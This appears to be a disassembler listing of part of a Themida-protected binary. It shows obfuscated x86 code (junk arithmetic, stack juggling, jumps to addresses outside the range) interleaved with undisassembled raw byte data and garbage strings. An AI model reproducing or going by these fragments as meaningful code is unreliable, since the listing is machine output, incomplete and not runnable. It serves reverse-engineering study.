; ---------------------------------------------------------------------------


loc_56B835:				; CODE XREF: Themida_:00563906j
		add	esp, 4
		add	edi, 0A6EF31F8h
		xor	ebx, edi
		jmp	loc_5713BD
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 405h, 42D00h, 4870000h, 0B7E95C24h, 1000016h, 5EE1E9F8h
		dd 0B6520000h, 5AF188E8h, 0E959C888h, 20A2h, 87048F66h
		dd 0FF3258E9h, 2474FFFFh, 2434FF04h, 0C6E9E958h, 1487FFFFh
		dd 0FE015C24h, 0FFB098E9h, 96D6F7FFh, 0BA0EF12Dh, 0E2C3817Bh
		dd 0E95BD925h, 0FFFFC1EEh, 89BB535Eh, 0F7218130h, 0CCC381DBh
		dd 0F737A369h, 9BF381DBh, 8168C93Fh, 6B83A4EBh,	0B5E9524Bh
		dd 5CFFFF94h, 240C8B66h, 0FFBBC4E9h, 31FBE9FFh,	1C8BFFFFh
		dd 4C48324h, 0C15FF801h, 4EE908E0h, 0F6FFFF5Eh,	2C802414h
		dd 5A66FF24h, 3E68DAF6h, 89000028h, 0BBB5240Ch,	8003EDC0h
		dd 0ED80A1EDh, 59EA0887h, 0E9F8B551h, 0FFFFCCC6h
; ---------------------------------------------------------------------------


loc_56B910:				; CODE XREF: Themida_:00571F68j
		add	esp, 4
		add	esp, 4
		jmp	loc_56F88B
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 49FFC281h, 0D389421Ch, 8124148Bh, 4C4h, 5BED8100h, 1447C6Bh
		dd 5BC581DDh, 0FF447C6Bh, 515B2434h, 0C181E189h, 4, 4C181h
		dd 0C330000h, 240C3124h, 3BC9E9h
		db 0
; ---------------------------------------------------------------------------


loc_56B95D:				; CODE XREF: Themida_:00565AEDj
		and	eax, 27AE5E74h
		push	ebp
		mov	ebp, 7D377EF6h
		push	ebp
		not	dword ptr [esp]
		jmp	loc_56476E
; ---------------------------------------------------------------------------


loc_56B971:				; CODE XREF: Themida_:00561199j
		mov	edi, [esp]
		push	71E9h
		jmp	loc_5624AF
; ---------------------------------------------------------------------------
a143414Hun	db '14$34$14$hãn',0
		align 4
		dd 51243489h, 0FFDBD2E9h, 0E92FB7FFh, 0FFFFCE98h
; ---------------------------------------------------------------------------


loc_56B99C:				; CODE XREF: Themida_:00564636j
		push	ebp
		mov	ebp, 10962B4Ah
		add	[esp+4], ebp
		pop	ebp
		mov	ecx, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edx
		mov	edx, 10962B4Ah
		sub	ecx, 3B45755Ch
		sub	ecx, edx
		add	ecx, 3B45755Ch
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_563E3D
; ---------------------------------------------------------------------------
		db 89h
		dd 8951240Ch, 4C181E1h,	83000000h, 0C8704E9h, 14895C24h
		dd 89DA8924h, 89575AD1h, 4C781E7h, 83000000h, 3C8704EFh
		dd 0C895C24h, 2434FF24h, 4EC8358h, 0E9240C89h, 0FFFFE008h
		dd 0F281D2F7h, 652046h,	0E95AD101h, 16EDh, 6ECC05Ch, 9D4E9h
		dd 0E5C15800h, 0E9564505h, 0FFFF9A72h
; ---------------------------------------------------------------------------


loc_56BA3C:				; CODE XREF: Themida_:00565D48j
		add	esp, 4


loc_56BA42:				; CODE XREF: Themida_:00569DD9j
					; Themida_:00571FA0j
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	edi
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_561C97
; ---------------------------------------------------------------------------


loc_56BA57:				; CODE XREF: Themida_:00570410j
		mov	esi, 4
		jmp	loc_571B0F
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 7Eh
		dd 5FFFFFACh, 815BDF01h, 4EFh, 243C8700h, 8924248Bh, 0A4E9241Ch
		dd 81FFFFA2h, 4C4h, 5AE9BA00h, 0DA29A92Eh, 48CBE95Bh, 1489FFFFh
		dd 0E9E28924h, 0FFFF976Bh, 6802C183h, 26FBh, 0FF240C89h
		dd 0FF042474h, 81592434h, 4ECh,	242C8900h, 0C581E589h
		dd 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_568AA3
; ---------------------------------------------------------------------------


loc_56BACE:				; CODE XREF: Themida_:0056EF56j
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edi
		jmp	loc_56FB41
; ---------------------------------------------------------------------------
		dw 5766h
		dd 4D4BBF66h, 754B0566h, 0BA665266h, 166555Eh, 665A66D0h
		dd 2D66F829h, 35E9555Eh
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BB07:				; CODE XREF: Themida_:005668FAj
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	eax, 5E3A74E9h
		jmp	loc_5711A9
; ---------------------------------------------------------------------------
		dw 0F280h
		dd 471EE96Fh, 77FFFFFFh, 59669D1Ch, 241CD366h, 2F93E99Ch
		dd 0E1C1FFFFh, 0E4F18103h, 3196ACD4h, 0C62959C8h, 8124048Bh
		dd 4C4h, 24348700h, 2414895Ch, 6850E289h, 4, 8BC20158h
		dd 0C4812404h, 4, 69DABD55h, 0F74D0638h, 4523E9D5h, 81450000h
		dd 65CC90EDh, 5DEF0148h, 3C8BFD01h, 4C48324h, 654FB951h
		dd 81497E84h, 0ABEE76C1h, 0E9CD29B1h, 0FFFFCD00h, 656E956h
		dd 295F0000h, 43E705C8h, 0C8B0EA6h, 4C48324h, 0FF52AEE9h
		dd 47B450FFh, 9DE9E500h
		db 4Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BBC7:				; CODE XREF: Themida_:0055F272j
		mov	ch, 99h
		or	dh, ch
		jmp	loc_563BB7
; ---------------------------------------------------------------------------
		dd 1C8BFE88h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h
		dd 8B66F030h, 51E92414h, 89FFFF97h, 7668242Ch, 89000011h
		dd 4C68243Ch, 8900000Ch, 0A68242Ch, 0E9748333h,	0FFFF3B02h
; ---------------------------------------------------------------------------


loc_56BC10:				; CODE XREF: Themida_:0056481Aj
		pop	ecx
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
		dw 2D5Bh
		dd 1F992910h, 5357D8F7h, 7B651C68h, 241C8B39h, 8104C483h
		dd 0F25BA1F3h, 81DBF759h, 2FD21CF3h, 5BDF89ECh,	4BAFE781h
		dd 0F75774D6h, 3C8B2414h, 4C48124h, 0E9000000h,	0FFFF5D83h
		dd 8124148Bh, 4C4h, 578CE900h, 0EB310000h, 5D2434FFh, 81E78957h
		dd 4C7h, 0A687E900h, 0D021FFFFh, 0FF2434FFh, 525A2434h
		dd 0FFA64CE9h, 5EF731FFh, 0FF56E1E9h, 2434FFFFh, 4C4835Bh
		dd 31243C33h, 3C33243Ch, 24248B24h, 9CC83B66h, 0FF2E28E9h
		dd 0C4815BFFh, 4, 62E95266h, 81FFFFC5h,	7335C6F6h, 3EEC109h
		dd 3A9DEE81h, 0F3290A7Ch, 8124348Bh, 4C4h, 7E63E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56BCD6:				; CODE XREF: Themida_:0056F278j
		add	dword ptr [esp], 786D42DFh
		add	[esp], eax
		sub	dword ptr [esp], 786D42DFh
		jmp	loc_571F91
; ---------------------------------------------------------------------------
		dd 2C181h, 89520000h, 4C281E2h,	81000000h, 4EAh, 24148700h
		dd 240C895Ch, 42474FFh,	81240C8Bh, 4C4h, 24048F00h, 6624248Bh
		dd 85E9F1F7h, 81FFFFE0h, 5AA878F2h, 0E9D63180h,	0FFFFE776h
		dd 0E918C380h, 1845h, 2C481h, 285A0000h, 241C8BD8h, 0E904C483h
		dd 567Fh
; ---------------------------------------------------------------------------


loc_56BD4C:				; CODE XREF: Themida_:00573CBDj
		add	esp, 4
		push	ebx
		push	4
		jmp	loc_562B5F
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 3869E924h, 0E95BFFFFh, 7BC1h
; ---------------------------------------------------------------------------


loc_56BD68:				; CODE XREF: Themida_:00573C64j
		pop	esp
		push	576Fh
		mov	[esp], esi
		jmp	loc_562167
; ---------------------------------------------------------------------------


loc_56BD76:				; CODE XREF: Themida_:005710C1j
		xor	ebp, 69A661CDh
		add	ebp, 4E2F2D29h
		sub	ebp, 7BA55100h
		jmp	loc_572139
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 240C895Ch, 0FFE2CAE9h, 1FD4BDFFh, 15E914EEh,	0FF000037h
		dd 34FF2434h, 0D9E95824h, 5FFFFC6h, 17DE07DCh, 0BB535759h
		dd 35E57173h, 0CE9DF89h, 81FFFF39h, 12320EC3h, 8133FF13h
		dd 63B82404h, 0C8B7E4Bh, 3A54E924h, 34FF0000h, 54555B24h
		dd 0ADBEE95Dh, 0DAF7FFFFh, 0E0DCEA81h, 0D7897B0Bh, 0B406E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BDF6:				; CODE XREF: Themida_:005693E2j
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_566243
; ---------------------------------------------------------------------------
aSsx8		db 'Séå8',0
		align 2
		dw 148Bh
		dd 4C48124h, 1000000h, 2434FFC1h, 0E924048Bh, 0FFFFD170h
		dd 3A06F281h, 0D0292E2Fh, 0B788E95Ah, 0E95BFFFFh, 0FFFFA998h
		dd 51241C89h, 0B5F6B753h, 5BFD3001h, 0FE4DB050h, 0D8D1E9C0h
		dd 4C01FFFFh, 34FF0424h, 0EEE95924h, 8BFFFF4Bh,	0E6E9241Ch
		dd 89000065h, 0E789243Ch, 4C781h, 0EF830000h, 243C8704h
		dd 2434895Ch, 0E26EF8BEh, 8325E961h, 0C481FFFFh, 4, 0D9F68h
		dd 241C8900h, 8904EC83h, 6682414h, 54000034h, 8124048Fh
		dd 42404h, 815A0000h, 4C2h, 22E95700h, 89FFFF8Dh, 4BD242Ch
		dd 1000000h, 3C875DEFh,	34875C24h, 0FAE95C24h, 0BAFFFF2Bh
		dd 4, 2062A02Dh, 5D0014Dh, 4D2062A0h, 4C0835Ah,	4C4DE950h
		dd 0C781FFFFh, 4, 0FF5E6AE9h, 56E95AFFh, 0BB00001Fh, 35991AACh
		dd 4112F381h, 0D80508C7h, 2966630Eh, 0C64DE9D8h, 248BFFFFh
		dd 34FF5F24h, 24348B24h, 0FFE0A2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56BF29:				; CODE XREF: Themida_:0056FCA9j
		mov	[esp], ebp
		sub	esp, 4
		push	2AA7h
		jmp	loc_568175
; ---------------------------------------------------------------------------


loc_56BF3C:				; CODE XREF: Themida_:005704FBj
		mov	[esp], ecx
		push	ebx
		jmp	loc_567B05
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 99E90000h, 50FFFF72h, 4EC81h, 24890000h, 24048124h
		dd 4, 70C7E9h, 0EB814300h, 4E5E28E0h, 0FFE4B1E9h, 1C77FFFFh
		dd 0D359669Dh, 0E99C2414h, 0FFFF9964h, 0CAE9F328h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BF8B:				; CODE XREF: Themida_:00568613j
		mov	esi, 16F7465Ah
		inc	esi
		and	esi, 3DD44A8Ah
		shr	esi, 5
		not	esi
		inc	esi
		xor	esi, 0DC0232F8h
		jmp	loc_564288
; ---------------------------------------------------------------------------
		dd 8B2434FFh
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 6E5C2576h
		sub	edx, 124857A5h
		jmp	loc_568112
; ---------------------------------------------------------------------------
		dw 0E943h
		dd 0FFFFF7AFh, 4BBh, 5BD92900h,	0FF92A9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56BFD5:				; CODE XREF: Themida_:0056CCDAj
		xor	ebp, 74EB3D1Dh
		add	ecx, ebp
		pop	ebp
		push	ebx
		jmp	loc_565938
; ---------------------------------------------------------------------------
		dd 0E959CE01h, 0FFFF62B8h
; ---------------------------------------------------------------------------


loc_56BFEC:				; CODE XREF: Themida_:00569ED1j
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------


loc_56BFF5:				; CODE XREF: Themida_:00561B56j
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_560839
; ---------------------------------------------------------------------------


loc_56C00F:				; CODE XREF: Themida_:0056B643j
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_56373D
; ---------------------------------------------------------------------------
		db 1
		dd 0CBBFE9D6h, 34FFFFFFh, 241C8B24h, 0E904C483h, 0FFFFFE5Eh
		dd 0E90E951h, 0E9530000h, 0FFFF351Ch
; ---------------------------------------------------------------------------


loc_56C03C:				; CODE XREF: Themida_:00570D3Aj
		add	esp, 4
		add	eax, 0EA44BCF9h
		xor	[esp+4], eax
		mov	eax, [esp]
		push	ecx
		jmp	loc_567801
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 81000000h, 4C1h, 240C8700h, 0FFB9F5E9h, 0E9C8FEFFh
		dd 0FFFF2F85h, 4C681h, 0EE830000h, 24343304h, 33243431h
		dd 248B2434h, 0A848E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C086:				; CODE XREF: Themida_:005633BFj
		add	eax, 16DF44ECh
		add	eax, ecx
		sub	eax, 16DF44ECh
		push	ebx
		mov	ebx, 64FE34ECh
		sub	eax, 50F26DBEh
		sub	eax, 46D06561h
		jmp	loc_56E356
; ---------------------------------------------------------------------------
		db 29h
		dd 0FFC681FEh, 0E91E9216h, 0FFFFEA76h, 4C181h, 0C1830000h
		dd 240C8704h, 8F24248Bh, 248B2404h, 1C77FF24h, 428568h
		dd 24148900h, 157DBE68h, 54295A41h, 0FF5A0424h,	0C8B2434h
		dd 0E8AAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C0EA:				; CODE XREF: Themida_:00572C69j
		mov	[esp], edi
		jmp	loc_565028
; ---------------------------------------------------------------------------
		dw 2BBEh
		dd 811DC00Dh, 0B67BFAF6h, 58E68106h, 0F73B0C57h, 7E6C1DEh
		dd 0C05CE81h, 0C6810FEBh, 800023FFh, 875EF001h,	565C2404h
		dd 5EB1E954h, 0D6F7FFFFh, 2C87F587h, 2434FF24h,	478E9h
		db 0
; ---------------------------------------------------------------------------


loc_56C131:				; CODE XREF: Themida_:00567AE4j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		dec	eax
		shl	eax, 6
		xor	eax, 256E3AF7h
		sub	eax, 30A3F102h
		add	ebx, eax
		jmp	loc_56EF6A
; ---------------------------------------------------------------------------


loc_56C14D:				; CODE XREF: Themida_:0056290Cj
		mov	edi, [esp]
		jmp	loc_56DDFE
; ---------------------------------------------------------------------------
		db 80h,	0C6h, 0FFh
		dd 0CEFEC6FEh, 0FF7823E9h, 0F2E957FFh, 59000056h, 1406C181h
		dd 0CD89753Dh, 2434FF59h, 4C4835Fh, 875DEA01h, 0FE5C2414h
		dd 0E99C240Ch, 0FFFF2949h, 55240C89h, 4DEE9h, 81D9F700h
		dd 3D7BA8C1h, 86E9817Ah, 814D4066h, 6252C1C1h, 0DDC18108h
		dd 0E90C5E44h, 0FFFF4D91h
; ---------------------------------------------------------------------------


loc_56C1B0:				; CODE XREF: Themida_:0056106Ej
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_571397
; ---------------------------------------------------------------------------


loc_56C1BB:				; CODE XREF: Themida_:00565065j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_56CEDA
; ---------------------------------------------------------------------------
		db 0B7h
		dd 56C1E9D7h, 8853FFFFh, 5BD988D3h, 81E18951h, 4C1h, 0CFE95300h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C1E7:				; CODE XREF: Themida_:00563F42j
		sub	edi, eax
		pop	eax
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_55EEC8
; ---------------------------------------------------------------------------


loc_56C1F8:				; CODE XREF: Themida_:00564502j
		push	eax
		mov	eax, ecx
		jmp	loc_56303A
; ---------------------------------------------------------------------------
		dd 24C66850h, 405867CCh, 3845680Dh, 65EB3524h, 0CE967FCh
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C217:				; CODE XREF: Themida_:00565D05j
		push	eax
		push	edx
		sub	dword ptr [esp], 5D391793h
		pop	eax
		add	eax, 5D391793h
		jmp	loc_569DA0
; ---------------------------------------------------------------------------


loc_56C22B:				; CODE XREF: Themida_:00567990j
		or	ebx, 2FBB0953h
		jmp	loc_565946
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 228E1B50h, 0FD8FF581h, 0E8892541h, 81E9565Dh, 0B4FFFF7Fh
		dd 6E4C01Fh, 1EFAE9h, 6F895F00h, 0C52E920h, 0F2290000h
		dd 5AD0015Eh, 0EE4EE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C26A:				; CODE XREF: Themida_:0057167Fj
		shr	ebp, 7
		sub	ebp, 1D750DE3h
		sub	ebp, 0CF672733h
		add	edi, ebp
		pop	ebp
		jmp	loc_5643B2
; ---------------------------------------------------------------------------


loc_56C281:				; CODE XREF: Themida_:0056ED29j
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	esi
		mov	esi, 4
		jmp	loc_571886
; ---------------------------------------------------------------------------
		dd 55240489h, 0FF7011E9h, 17EE81FFh, 814CF132h,	0AC9471EEh
		dd 0F2895214h, 0E2E9D589h, 80FFFFB6h, 0E500A0ECh, 7CB05058h
		dd 0E8C05434h, 0E96A3406h, 0FFFF9BFDh, 45A1EB81h, 41E93BB3h
		dd 68000038h, 1072h, 24048F54h,	4BD55h,	44810000h, 35330424h
		dd 6C015F1Ah, 0BF570424h, 5F1A3533h, 0FFD591E9h, 2474FFFFh
		dd 0C863E904h, 0C149FFFFh, 9DE902E1h, 81FFFFC9h, 0CB2CC2C5h
		dd 0E9FD2910h, 329Dh
; ---------------------------------------------------------------------------


loc_56C318:				; CODE XREF: Themida_:00564206j
		xchg	ebx, [esp]
		jmp	loc_55F291
; ---------------------------------------------------------------------------
		dd 685053ACh, 57Fh, 6EB0E9h, 31DE3100h,	0F1E92434h, 0C1FFFF72h
		dd 0F38107E3h, 30E30AEEh, 1C8BD829h, 4C48324h, 0E930FF66h
		dd 12A1h, 815B5453h, 4C3h, 0D254E900h, 0F128FFFFh, 0D9F65A66h
		dd 66FFC180h, 3042B753h, 305B66F9h, 4DE958E1h, 52FFFF6Ah
		dd 56EAE9h, 0E9DF0100h,	0FFFFF9DEh, 5CD3B850h, 0FA2D0F97h
		dd 0E956736Fh, 24E6h, 8703E8BEh, 0C1EE8131h, 81278D04h
		dd 222AE9EEh, 0A7E68122h, 0C16DED39h, 0C68105EEh, 5B9C55D8h
		dd 0FFC926E9h, 0C58158FFh, 71926A12h, 63BB5351h, 0C16BDE15h
		dd 0C38105EBh, 6B4C4B06h, 0E95BD989h, 0FFFFFDB9h
; ---------------------------------------------------------------------------


loc_56C3D8:				; CODE XREF: Themida_:0056ADD1j
		push	eax
		mov	eax, 0FFFFFFFFh
		sub	ecx, eax
		pop	eax
		add	ecx, 1
		push	edi
		mov	edi, 1B9431AAh
		add	ecx, edi
		pop	edi
		mov	eax, ecx
		pop	ecx
		xor	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	ebx, eax
		jmp	loc_570FF4
; ---------------------------------------------------------------------------
		db 52h,	0B6h, 6Eh
		dd 805AF400h, 0CC80FFC4h, 40B151E3h, 0C8BCC28h,	4C48324h
		dd 0F6D5B252h, 0E9C2FEDAh, 208Ch
; ---------------------------------------------------------------------------


loc_56C428:				; CODE XREF: Themida_:005604BAj
		add	edi, 37974876h
		pop	edx
		add	edi, 57184817h
		sub	edi, eax
		sub	edi, 57184817h
		pop	eax
		jmp	loc_5631A9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4BB5300h, 29000000h, 14875BDAh, 3C895C24h, 50E78924h
		dd 4B951h, 2BE90000h, 89FFFF62h, 268243Ch, 5F000000h, 335FF801h
		dd 0A4E92404h, 53FFFF51h, 6264E9h, 67E95700h, 52FFFF8Dh
		dd 0DAF6FEB2h, 0D2F6CAFEh, 8070EA80h, 0E2C09DF2h, 3FA8E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C49E:				; CODE XREF: Themida_:005707D8j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	edi
		push	eax
		mov	eax, 4
		mov	edi, eax
		pop	eax
		add	edx, 17EA4229h
		push	ebp
		jmp	loc_567660
; ---------------------------------------------------------------------------


loc_56C4BF:				; CODE XREF: Themida_:0056D6D9j
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		or	eax, eax
		jz	loc_569825
		push	dword ptr [edi+1Ch]
		sub	dword ptr [esp], 19171599h
		pop	ecx
		sub	esp, 4
		jmp	loc_55F25C
; ---------------------------------------------------------------------------
		dd 348BF001h, 0E1895124h, 4C181h, 0BF570000h, 4, 875FF901h
		dd 535C240Ch, 4EC81h, 2C890000h, 4526824h, 0E95D6CD6h
		dd 0FFFF8E4Ch, 4C181h, 68500000h, 3EEh,	0BE243489h, 4
		dd 348BF089h, 4C48124h,	1000000h, 6DCBE9C1h, 685F0000h
		dd 4721h, 0BF243C89h, 70054494h, 15FF801h, 9ABA52D8h, 813BF404h
		dd 550A00EAh, 64E28164h, 8133551Ah, 0ED56CEAh, 5AD029A3h
		dd 0FFEBA1E9h, 242C8BFFh, 4C481h, 0D9890000h, 83241C8Bh
		dd 57BE04C4h, 314D6C00h, 0F02159CEh, 5124348Bh,	0C181E189h
		dd 4, 4B850h, 0C1010000h, 6A34E9h, 58C18900h, 0FFAD98E9h
		dd 0E95258FFh, 0FFFF5B04h
; ---------------------------------------------------------------------------


loc_56C5B0:				; CODE XREF: Themida_:0056157Cj
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_56EBC2
; ---------------------------------------------------------------------------
		db 81h,	0CDh, 0F4h
		dd 0C16BFE4Dh, 0ED8102EDh, 4A305C7h, 39E9D5F7h,	47FFFF7Bh
		dd 5A2EF81h, 0F989F332h, 0E981495Fh, 97872F0h, 0FFF555E9h
		dd 4C183FFh, 0E904EC83h, 539Fh,	0E9241487h, 0FFFFAFD4h
		dd 8124048Bh, 4ECh, 24148900h, 52535A54h, 0FFB71BE9h, 0E9F501FFh
		dd 330Eh, 6624248Bh, 9C240401h,	0FF24ACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C625:				; CODE XREF: Themida_:00570737j
		mov	[esp], edi
		mov	edi, 17D826A0h
		push	esi
		mov	esi, 3BC24132h
		push	ecx
		jmp	loc_5637B4
; ---------------------------------------------------------------------------


loc_56C639:				; CODE XREF: Themida_:00562CA2j
		push	dword ptr [esp]
		jmp	loc_56EF4D
; ---------------------------------------------------------------------------
		db 0FEh, 0CAh, 80h
		dd 0D00028C2h, 4D17E95Ah, 48BFFFFh, 4C48124h, 81000000h
		dd 4C4h, 24348700h, 8924248Bh, 0D188240Ch, 0F6E90888h
		dd 50FFFFA9h, 1A686851h, 0E9595053h, 464Dh
; ---------------------------------------------------------------------------


loc_56C67C:				; CODE XREF: Themida_:005634E1j
		mov	[esp], ecx
		jmp	loc_56001F
; ---------------------------------------------------------------------------
		dd 4B8h, 390BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C68E:				; CODE XREF: Themida_:00562386j
		shr	ebx, 5
		add	ebx, 43DB2F92h
		mov	ecx, ebx
		pop	ebx
		xor	ecx, edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	ecx, 761A738Ch
		and	ecx, 12BA40B1h
		not	ecx
		jmp	loc_56C8DE
; ---------------------------------------------------------------------------


loc_56C6CD:				; CODE XREF: Themida_:0056D36Cj
		add	dword ptr [esp], 7ED720A8h
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 44D7458Dh
		and	ecx, 3D3E77A5h
		dec	ecx
		add	ecx, 4E092539h
		jmp	loc_569E50
; ---------------------------------------------------------------------------
		db 83h,	0C1h, 4
		dd 8B240C87h, 34FF2424h, 54525824h, 0FFF89FE9h,	0E78957FFh
		dd 4B850h, 0C7010000h, 4EC8158h, 89000000h, 0B8502434h
		dd 504E7FA7h, 0FF7A3BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C729:				; CODE XREF: Themida_:00570FEFj
		pop	eax
		mov	eax, esi
		pop	esi
		and	ecx, eax
		jmp	loc_55F781
; ---------------------------------------------------------------------------


loc_56C734:				; CODE XREF: Themida_:0057025Cj
		xor	edi, ebx
		pop	ebx
		or	edi, 7C936DCEh
		jmp	loc_570EC3
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 26E9240Ch, 55FFFFAEh, 1C49FABDh, 5DEB8942h, 0FF9EB7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C759:				; CODE XREF: Themida_:0056E440j
		push	61796791h
		jmp	loc_56DA69
; ---------------------------------------------------------------------------


loc_56C763:				; CODE XREF: Themida_:00565A71j
		dec	edx
		jmp	loc_56F301
; ---------------------------------------------------------------------------
		db 1, 0F1h, 0E9h
		dd 0FFFF8AA9h, 0FF2434FFh, 0BAE92434h, 8BFFFF44h, 0F9F62424h
		dd 0CCB60F66h, 6BFB6866h, 240C8966h, 0C8B60F66h, 0E99C5166h
		dd 0FFFF2339h, 0C2815A54h, 4, 8704C283h, 4BE92414h, 2DFFFFA8h
		dd 29C475B4h, 8324348Bh, 1DE904C4h, 8300004Dh, 6F68FFEEh
		dd 89000057h, 23B9240Ch, 2164A262h, 0EE8159CEh,	0FFFFFFFFh
		dd 179068h, 63B5E900h, 34FF0000h, 5C54E924h, 2BAFFFFh
		dd 0E9088115h, 256Bh
; ---------------------------------------------------------------------------


loc_56C7F0:				; CODE XREF: Themida_:0057191Aj
		mov	ebx, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5683F8
; ---------------------------------------------------------------------------


loc_56C80A:				; CODE XREF: Themida_:00564BD4j
		pop	esp
		mov	[esp], ebp
		push	4126h
		jmp	loc_572DEC
; ---------------------------------------------------------------------------
		dd 4240483h, 3E92E95Eh,	44810000h, 7ACE0424h, 0BDE92442h
		dd 0BA000043h, 779138E5h, 0FF5F3BE9h, 0B35366FFh, 9D04C8h
		dd 669D2CD8h, 81241C8Bh, 2C4h, 539F2C00h, 8904EC83h, 0E0682404h
		dd 0E900002Dh, 0FFFF4E77h, 5460C181h, 0FDE9697Dh, 0F7000048h
		dd 2ED81D5h, 55AE6DCBh,	770EA68h, 0EB295D02h, 0E9EB015Dh
		dd 7FAh
; ---------------------------------------------------------------------------


loc_56C884:				; CODE XREF: Themida_:0056EBDDj
		push	esi
		jmp	loc_563B1D
; ---------------------------------------------------------------------------
aAAiPUx		db '€Â°€ë;P´}(ãX',0
aAFqAGs8	db 'Ó€Ã}fQµ;€Ã£é~8',0
		db 0
; ---------------------------------------------------------------------------


loc_56C8A7:				; CODE XREF: Themida_:0056F05Bj
		mov	bl, ah
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_572DE1
; ---------------------------------------------------------------------------
		dd 462B62B8h, 0C7E5E95Ch, 0D001FFFFh, 30D6E9h, 6F685300h
		dd 8B76F505h, 0C481241Ch, 4, 0AEE8E94Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C8DE:				; CODE XREF: Themida_:0056C6C8j
		push	edx
		mov	edx, 37766C53h
		add	ecx, edx
		pop	edx
		push	ebx
		mov	ebx, 50E73A89h
		jmp	loc_567B57
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 51001FF9h, 0B850C501h, 4CB76D66h, 74082F05h,	0B19DE94Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C90A:				; CODE XREF: Themida_:00567749j
					; Themida_:005682ACj ...
		push	421h
		mov	[esp], ebp
		push	7F62h
		mov	[esp], ebx
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		pop	eax
		push	dword ptr [esp]
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		jmp	loc_56A0C5
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 26h
		dd 81276107h, 0F36534CFh, 0BEF78140h, 8167BD6Ah, 4E1F06F7h
		dd 0E9FD0132h, 0FFFFD384h, 4BE5651h, 56000000h,	7331B850h
		dd 443106E7h, 48B0424h,	4C48324h, 31F18159h, 8B06E773h
		dd 0E9522434h, 0FFFFFE14h
; ---------------------------------------------------------------------------


loc_56C984:				; CODE XREF: Themida_:00560225j
		add	eax, 4
		jmp	loc_56672F
; ---------------------------------------------------------------------------
		dd 0EB81F329h, 7F4B42E8h, 2214E9h, 42D0400h, 241C8B9Ch
		dd 0FF58A4E9h, 30D7B3FFh, 0E95B66DCh, 534Ah, 0E924248Bh
		dd 0FFFF5732h, 81241C8Bh, 4C4h,	0E9F00100h, 0FFFF45F5h
